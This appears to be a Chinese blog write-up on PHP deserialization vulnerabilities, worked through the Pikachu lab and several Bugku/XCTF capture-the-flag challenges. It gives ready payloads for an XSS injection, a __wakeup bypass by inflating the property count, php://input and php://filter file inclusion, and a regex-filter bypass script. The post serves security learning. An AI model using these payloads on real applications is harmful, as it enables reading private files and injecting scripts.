欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

php反序列化-pikachu漏洞平台学习(7)

程序员文章站 2022-05-11 18:01:23
...

php反序列化

概述

序列化serialize()

​ 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值
    

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
    

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

    

php反序列化入门

0x01 php反序列化漏洞

通过文件下载漏洞下载反序列化源码:

php反序列化-pikachu漏洞平台学习(7)

得到后台源码:

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

注释已经给出payload,构*射xss。

php反序列化-pikachu漏洞平台学习(7)


2019-8-27 反序列化更新

bugkuctf web24

打开页面是一个类似淘宝的页面,没什么可点的,查看源码,拉到最低能够看到注释说有/index/index.php.

打开之后是一段php:

<?php  
class Small_white_rabbit{  
    private $file = 'index.php';  

    public function __construct($file) {  
        $this->file = $file;  
    }  

    function __destruct() {  
        echo @highlight_file($this->file, true);  
    }  

    function __wakeup() {  
        if ($this->file != 'index.php') {  
            //the secret is in the_f1ag.php  
            $this->file = 'index.php';  
        }  
    }  
}  

if (isset($_GET['var'])) {  
    $var = base64_decode($_GET['var']);  
    @unserialize($var);  
} else {  
    highlight_file("index.php");  
}  
?>

明显是反序列化,这题对于大佬来说可能非常简单,但对于我这个菜鸡,反序列化没做几题,实际实践也没碰到一次的菜鸡来说,还是比较难的了。

代码要求我们get方式发送var,base64解码,使得反序列化后得到flag。这里一个知识点就是_weakup()魔法函数绕过。因为在我们提交的序列化字符必定要指定**$filethe_flag.php**,而_weakup函数在反序列化后会被调用,检查到file不是index.php就强制修改为index.php。所以必须绕过_weakup()。

上网查资料了解可以利用php反序列化注入漏洞。简单来说,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行**。**

这里在构造payload是还要注意$file属性为private,所以在构造时左右两边要加上 .

即:

O:18:"Small_white_rabbit":2:{s:24:".Small_white_rabbit.file";s:12:"the_f1ag.php";}

另外如果属性被protect修饰 则要加*,即:

O:18:"Small_white_rabbit":2:{s:7:".*.file";s:12:"the_flag.php";}

2019.9.12更新

php://input+php://filter+php反序列化

new bugku web21

首先进入题目主页

php反序列化-pikachu漏洞平台学习(7)

没有什么东西

右键查看源码

php反序列化-pikachu漏洞平台学习(7)

看到提示,后台接收三个参数,并且要求user(文件)值为admin.这里用php://input来控制user的值,post数据为admin。用hackbar构造payload。

php反序列化-pikachu漏洞平台学习(7)

绕过第一层判断。

看到include函数,尝试文件包含。

php反序列化-pikachu漏洞平台学习(7)

base64解码

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

有一个toString魔法函数,当一个对象被当作字符串处理时就会执行toString函数。先不管,在读取index页面

php反序列化-pikachu漏洞平台学习(7)

#index
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);//反序列化
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
 
?>
 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

可以看到主页进制我们读f1a9.php文件。并且echo了pass。因此需要构造pass序列化字符串,并且file属性为f1a9.php。

构造如下:

O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

php反序列化-pikachu漏洞平台学习(7)

源码:

php反序列化-pikachu漏洞平台学习(7)


2019年10月26日更新

在构*序列化代码最好还是用php一次性构造,否则一些不可见字符是无法我们手工输入准确的。

比如xctf这题。

这题其实比较新的就是这段过滤代码:

if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 

不过我们修改对象名字长度为+\d,那么就能绕过认证。

最终这题的payload:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a = new Demo("fl4g.php");
$test = serialize($a);

var_dump($test);
echo("\n");
// $test = 'O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}';
$test = str_replace("O:4","O:+4",$test);
$test = str_replace(":1:",":2:",$test);
// var_dump($test);
echo("\n");
echo base64_encode($test);
echo("\n");
// echo($test);

这里想强调的是在生成序列化的过程中最好一次性由php生成。否则会出一些纰漏。

比如

php反序列化-pikachu漏洞平台学习(7)

php反序列化-pikachu漏洞平台学习(7)

$test1

和$test2变量在字符层面看不出差距,但var_dump明显长度不同。这是因为php反序列化对象时会用不可见字符修饰不同属性。